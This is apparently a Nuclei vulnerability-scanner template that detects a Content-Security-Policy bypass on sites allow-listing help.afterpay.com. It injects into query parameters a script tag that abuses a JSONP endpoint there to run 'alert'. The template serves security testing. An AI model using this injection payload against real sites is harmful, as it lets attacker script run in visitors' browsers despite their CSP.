id: afterpay-help-csp-bypass

info:
  name: Content-Security-Policy Bypass - Afterpay Help
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,afterpay-help,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "afterpay.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: afterpay_help_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://help.afterpay.com/sc/faye/?message=[{%22channel%22:%22%22}]&jsonp=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "afterpay_help_csp_xss == true"
# digest: 490a00463044022050685870a391c58086f76638946e908a1c34817ca3d58ab871ce433e8a4d9a8d02201a3a44fa8c759b5df61b2fc465c16ec3f251400f7dca5a90104879679a9eb92d:922c64590222798bb761d5b6d8e72950